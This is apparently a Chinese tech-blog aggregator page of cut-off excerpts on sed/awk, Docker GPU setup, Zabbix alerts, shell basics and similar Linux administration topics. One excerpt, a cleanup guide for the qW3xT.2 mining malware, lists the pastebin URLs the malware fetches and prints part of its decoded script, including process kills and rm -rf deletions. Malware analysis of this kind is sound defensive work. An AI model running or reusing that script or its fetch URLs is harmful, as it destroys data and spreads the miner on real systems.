awk命令

sed与awk

心已入冬 提交于 2020-01-27 13:19:44
sed 擅长取行, awk 命令擅长取列 sed 格式 : sed <option> <script> <file> file不指定则默认为 STDIN option -e : 执行多个命令 命令之间必须用分号隔开 命令末尾和分号之间不能有空格 例子: sed -e 's/brown/green/; s/dog/cat/' data.txt -f : 从文件读取命令 每个命令一行,无需分号 例子: sed -f script.sed data.txt -n :不产生命令输出,用 p 完成输出 -i : 直接修改 文件中的数据 sed默认 不会修改 文件数据,而是把修改后的数据发送到 STDOUT -i.backup 自动备份源文件 script s 命令 :用第二个斜线间的字符串替换第一个斜线间的 匹配的模式(正则) 格式: sed '[address] s/pattern/replace/[flag]' 默认只替换每行第一处匹配的字符串 替换标记(flag) <数字> :第几处模式匹配的地方 g :替换所有匹配的文本 p :配合 -n option 只打印被修改过得行 sed -n 's/test/dev/p' in.txt 也可以用来 输出指定行 输出3-6行: sed -n '3,6/p' in.txt w <file> :把修改过得行写入文件,同时打印所有行(包括没修改的)

挖矿病毒 qW3xT.2 最终解决方案

独自空忆成欢 提交于 2020-01-23 20:41:59
转自:https://blog.csdn.net/hgx13467479678/article/details/82347473 1,cpu 100%, 用top 查看cpu100 2,删掉此进程 cpu还是 100% 3,估计是进程被隐藏了 4,定时任务多了一个执行任务 5:打开连接 https://pastebin.com/raw/xbY7p5Tb 获取如下内容 6:打开 https://pastebin.com/raw/uuYVPLXd ,发现是一个Base64编码字符串, 7:用Base64解码此内容得到如下脚本内容 #!/bin/bash SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin function kills() { pkill -f sourplum pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius rm -rf /tmp/*index_bak* rm -rf /tmp/*httpd.conf* rm -rf /tmp/*httpd.conf rm

linux去除空行的方法

和自甴很熟 提交于 2020-01-19 14:16:40
1、grep grep . data.txt grep -v '^$' data.txt grep '[^$]' data.txt 2、sed sed -i '/^$/d' data.txt sed -i '/^\s*$/d' data.txt #这个命令还可将完全空格、tab等组成的空行删掉。 3、awk awk NF data.txt # 这个也可以将空格、tab等组成的空行删掉。 awk '!/^$/' data.txt tr - s'\n'< data.txt 来源: CSDN 作者: zsj.python之路 链接: https://blog.csdn.net/zhangshuaijun123/article/details/104036924

linux下保证高可用Java服务化系统高效运行的必备工具脚本

喜你入骨 提交于 2020-01-17 07:49:42
无论是技术开发人员还是架构设计人员都是在实践中成长起来的,他们通过实践进行总结,总结后把经验升华并再次应用到实践中去,进一步提供生产效率。 本文介绍笔者在互联网公司里线上应急和技术攻关过程中积累的应用层脚本和Java虚拟机命令,这些脚本和命令在发现问题和定位问题的过程中起到关键作用,在特定的问题环境下,堪称快速定位问题的小倚天剑以及快速解决问题的微屠龙刀。 本文在介绍脚本和命令之前,先给大家介绍笔者的Linux环境以及在Linux环境下搭建的一个原创Java发号器服务,用来向大家演示脚本和命令的使用方法,力争做到让大家拿来即用的效果。另外,在介绍完所有的脚本和命令之后,我会把所有的命令和脚本收集在一个表格中,便于大家随时参考和使用,并推荐大家把这个表格打印出来放在自己的办公桌上,需要的时候看一眼,便可快速发现和解决问题的工具。 脚本和命令系列主题中计划提供两篇文章,这篇文章是脚本和命令系列主题中的其中一篇,本文聚焦在那些“神奇的”应用层脚本和Java虚拟机命令,曾经在不同程度上帮助笔者在线上应急和技术攻关的过程中解决过不小的问题,通过这篇文章把这些脚本和命令推广给读者,让读者也能够应用在实践中,切实有效的帮助读者解决实际问题。 环境搭建和示例服务启动 首先,使用的Linux版本为: OS:Ubuntu 14.04.2 LTS 内核:3.16.0-30-generic 硬件架构

PyCharm + Docker + GPUs

夙愿已清 提交于 2020-01-16 22:33:30
1.docker运行命令: docker run --runtime=nvidia -dit --name=my-develop --publish=39822:22 --volume=/home/my/remote_develop:/remote_develop --restart=always euleros-cuda-py373:0.1.0 /bin/bash docker exec -it my-develop /bin/bash #【ctrl】+【p】 【ctrl】+【q】 (皮球pi_qiu)退出 2.测试GPU: # 进入镜像 nvidia-docker run -it mxnet/python:gpu bash #执行python python import mxnet as mx a = mx.nd.ones((2, 3), mx.gpu()) b = a * 2 + 1 b.asnumpy() 参考资料: https://zhuanlan.zhihu.com/p/27114995 https://blog.51cto.com/5249302/2359420 深度学习环境配置docker+pycharm+GPU ttps://blog.csdn.net/Ryanpinwei/article/details/78806052 https://cloud

初入Shell

风格不统一 提交于 2020-01-12 00:07:23
shell 第 1 章 Shell 概述 大数据 程序员 为什么要 学习 Shell 呢?   1 ) 需要看懂运维人员 编写的Shell程序。   2) 偶尔会编写一些简单 Shell 程序 来管理集群、 提高开发效率 。    第 2 章 Shell 解析器   ( 1 ) Linux 提供的 Shell 解析器有: [atguigu@hadoop101 ~]$ cat /etc/shells /bin/sh /bin/bash /sbin/nologin /bin/dash /bin/tcsh /bin/csh   ( 2 ) bash 和 sh 的关系 [atguigu@hadoop101 bin]$ ll | grep bash -rwxr-xr-x. 1 root root 941880 5月 11 2016 bash lrwxrwxrwx. 1 root root 4 5月 27 2017 sh -> bash   ( 3 ) Centos/Ubutun 默认的 解析 器 是bash [atguigu@hadoop102 bin]$ echo $SHELL /bin/bash 第 3 章 Shell 脚本 入门 1 . 脚本格式 脚本以 #!/bin/bash 开头 (指定解析 器 ) 2 . 第一个 Shell 脚本 :helloworld ( 1 )需求:创建一个

【转载】shell基础知识

a 夏天 提交于 2020-01-11 18:33:03
变量的定义: a=1 b=hello c="hello world !" d='hello "反启" !' e=`ls` (注意:这是反引号)   备注:=号左右不能有空格;如果内容有空格需要使用单引号或者双引号;双引号支持转译 $开头的变量会被自动替换 变量替换:   ${value:-word}:如果变量名存在且非null,返回变量值;否则,返回word字符串   用途:如果变量未定义,则返回默认值   ${value:=word}:如果变量名存在且非null,返回变量值;否则,设置这个变量值为word   用途:如果变量未定义,,则设置变量为默认值,并返回默认值   ${value:?"not defined"}:如果变量名存在且非null,返回变量值;否则显示“not defined”,并退出当前命令或脚本。   用途:用于捕捉由于变量未定义而导致的错误,并退出程序。   ${value:+word}:如果变量名存在且非null,返回word,否则返回null。   用途:测试变量是否存在。 变量的使用:   echo $a   echo ${a}   echo "$a"   备注:使用$var 或 ${var}来访问变量,后者更为严谨,$var_x和${var}_x是不同的;变量不需要定义也可以使用,引用未定义的变量,默认为空值。 预定义变量: echo $USER

调试排错 - Java问题排查:Linux命令

可紊 提交于 2020-01-07 08:59:05
本文原创,更多内容可以参考: Java 全栈知识体系 。如需转载请说明原处。 Java 在线问题排查主要分两篇:本文是第一篇,通过linux常用命令排查。@pdai 文本操作 文本查找 - grep grep常用命令: # 基本使用 grep yoursearchkeyword f.txt #文件查找 grep 'KeyWord otherKeyWord' f.txt cpf.txt #多文件查找, 含空格加引号 grep 'KeyWord' /home/admin -r -n #目录下查找所有符合关键字的文件 grep 'keyword' /home/admin -r -n -i # -i 忽略大小写 grep 'KeyWord' /home/admin -r -n --include *.{vm,java} #指定文件后缀 grep 'KeyWord' /home/admin -r -n --exclude *.{vm,java} #反匹配 # cat + grep cat f.txt | grep -i keyword # 查找所有keyword且不分大小写 cat f.txt | grep -c 'KeyWord' # 统计Keyword次数 # seq + grep seq 10 | grep 5 -A 3 #上匹配 seq 10 | grep 5 -B 3 #下匹配

Zabbix的通知功能以及自定义脚本告警

放肆的年华 提交于 2020-01-06 20:29:06
一、Zabbix的通知功能 在配置好监控项和触发器之后,一旦正常工作中的某触发器状态发生改变,一般意味着有异常情况发生,此时通常需要采取一定的动作(action),如告警或者执行远程命令。 实现zabbix的通知功能,一般需要两个步骤:定义所需的“媒介”和配置一个”动作”。 媒介类型有:E-mail,SMS,Jabber和自定义的通知脚本。我这里就使用E-mail了。 1.定义媒介 登录zabbix web管理控制台,点击Administration—> Media types,可以看到有3个定义好了的媒介,不用这3个,点击右上角的”Create media type”。 填写信息: 二、定义接收告警的用户 1.创建用户组 (1)点击Administration—> User groups,点击右上角的Create user group。 (2)输入组名,点击Add。 2.创建用户 (1)点击Administration—> Users,点击右上角的Create user。 在User列填入个人信息: (2)点击Media,点击Add,选择媒介和接收邮件的时间等信息: (3)点击Permissions,根据这个新添的用户给予合适的权限 三、定义Action 点击Configuration—> Actions,点击右上角的Create action: Action配置:

linux 基础 文件系统 用户权限

耗尽温柔 提交于 2019-12-31 22:55:10
描述Linux系统的启动过程? 1.开机自检 BIOS 2.MBR引导 3.GRUB菜单 4.加载内核 5.运行init进程 6.从/etc/inittab读取运行级别 7.根据/etc/rc.sysinit 初始化系统(设置主机名 设置ip) 8.根据运行级别启动对应的软件(开机自启动软件) 9.运行mingetty显示登录界面 Linux系统的启动过程 临时修改 [root@template ~]# alias rm='echo command not found' [root@template ~]# rm command not found [root@template ~]# alias rm alias rm='echo command not found' ​ 永久设置 [root@template ~]# vim /etc/profile 按o 输入 alias rm='echo command not found' [root@template ~]#source /etc/profile ​​ 编辑 /root/.bashrc 把 alias rm='rm -i'这一行前面加上一个注释# 修改alis 查看 echo $LANG $PS1 [root@lewen-lnb ~]# echo $PATH /usr/local/sbin:/usr/local/bin: